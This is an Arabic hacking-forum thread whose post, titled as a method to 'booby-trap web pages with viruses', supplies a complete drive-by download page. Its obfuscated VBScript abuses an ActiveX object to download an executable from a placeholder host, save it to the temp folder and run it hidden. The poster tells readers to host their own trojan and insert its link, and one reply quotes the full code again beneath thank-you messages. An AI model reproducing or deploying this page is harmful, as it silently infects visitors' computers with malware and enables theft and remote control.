:: vBspiders Professional Network :: - (حصري) طريقة تلغيم صفحات الإنترنت بالفيروسات والباتشات

:: vBspiders Professional Network :: (http://www.vbspiders.com/vb/index.php)

- قســم إختــراق الأجهــزة (http://www.vbspiders.com/vb/f36.html)

(حصري) طريقة تلغيم صفحات الإنترنت بالفيروسات والباتشات

[align=center]http://quran.maktoob.com/vb/up/6248844461061488728.gif
اليوم انا جايب لكم طريقة تلغيم صفحات الإنترنت بالفيروسات والباتشات لعيونكم وهذا كود خاص بذلك
افتح النوت باد وحط فيها الكود التالي
[hide]

كود:

<HTML>

<BODY>

<script language="VBScript">

on error resume next

dl = "www.site.com/trojan.exe"

Set df = ********.createElement("object")

cls1="clsid:BD96"

cls2="C556-65A"

cls3="3-11D0-9"

cls4="83A-00C04FC29E36"

clsfull=cls1&cls2&cls3&cls4

df.setAttribute "classid",clsfull

strr1="Mic"

strr2="roso"

strr3="ft."

strr4="XML"

strr5="HTTP"

strr=strr1&strr2&strr3&strr4&strr5

Set x = df.CreateObject(strr,"")

ab1="A"

ab2="dod"

ab3="b.S"

ab4="t"

ab5="re"

ab6="am"

strb1=ab1&ab2&ab3&ab4&ab5&ab6

strb5=strb1

set YY = df.createobject(strb5,"")

YY.type = 1

str6="GET"

x.Open str6, dl, False

x.Send

fnamezz1="update.exe"

scripp1="Scrip"

scripp2="ting"

scripp3=".Fil"

scripp4="eSyste"

scripp5="mObject"

scripp=scripp1&scripp2&scripp3&scripp4&scripp5

set FF = df.createobject(scripp,"")

set tmp = F.GetSpecialFolder(2)

fnamezz1= FF.BuildPath(tmp,fnamezz1)

YY.open

YY.write x.responseBody

YY.savetofile fnamezz1,2

YY.close

set MM = df.createobject("Shell.Application","")

MM.ShellExecute fnamezz1,"","","open",0

</script>

</BODY>

</HTML>

[/hide]
وارفع الباتش على اي مركز تحميل
وغيير [hide]www.site.com/trojan.exe[/hide] برابط باتشك
وحفضوه بمتداد

كود:

.html

[motr][rainbow]لا تنسوا التقييم ان اعجبكم وشكرا:00001806[1]:[/rainbow][/motr][/align]

شكرا اخي على الموضوع المميز
تقبل مروري

تسلم اخي
بارك الله فيك

تسلم أخي و الله يعطيك العافية

يسلموووووووووووووووووووووووووووووووووووووو

behi yeeeeeeeeeeeeeser

thxxxxxxxxxxxxxxxxxxxxxxx

اقتباس:

المشاركة الأصلية كتبت بواسطة Xx-Youssef-xX (المشاركة 246393)

كود:

<HTML>

<BODY>

<script language="VBScript">

on error resume next

dl = "www.site.com/trojan.exe"

Set df = ********.createElement("object")

cls1="clsid:BD96"

cls2="C556-65A"

cls3="3-11D0-9"

cls4="83A-00C04FC29E36"

clsfull=cls1&cls2&cls3&cls4

df.setAttribute "classid",clsfull

strr1="Mic"

strr2="roso"

strr3="ft."

strr4="XML"

strr5="HTTP"

strr=strr1&strr2&strr3&strr4&strr5

Set x = df.CreateObject(strr,"")

ab1="A"

ab2="dod"

ab3="b.S"

ab4="t"

ab5="re"

ab6="am"

strb1=ab1&ab2&ab3&ab4&ab5&ab6

strb5=strb1

set YY = df.createobject(strb5,"")

YY.type = 1

str6="GET"

x.Open str6, dl, False

x.Send

fnamezz1="update.exe"

scripp1="Scrip"

scripp2="ting"

scripp3=".Fil"

scripp4="eSyste"

scripp5="mObject"

scripp=scripp1&scripp2&scripp3&scripp4&scripp5

set FF = df.createobject(scripp,"")

set tmp = F.GetSpecialFolder(2)

fnamezz1= FF.BuildPath(tmp,fnamezz1)

YY.open

YY.write x.responseBody

YY.savetofile fnamezz1,2

YY.close

set MM = df.createobject("Shell.Application","")

MM.ShellExecute fnamezz1,"","","open",0

</script>

</BODY>

</HTML>

[/hide]
وارفع الباتش على اي مركز تحميل
وغيير [hide]www.site.com/trojan.exe[/hide] برابط باتشك
وحفضوه بمتداد

كود:

.html

[motr][rainbow]لا تنسوا التقييم ان اعجبكم وشكرا:00001806[1]:[/rainbow][/motr][/align]

مشكورررررررررررررررررررررررررررر

شكرا اخويه العزيز على الموضوع الراقي

مشكوووووووووووووور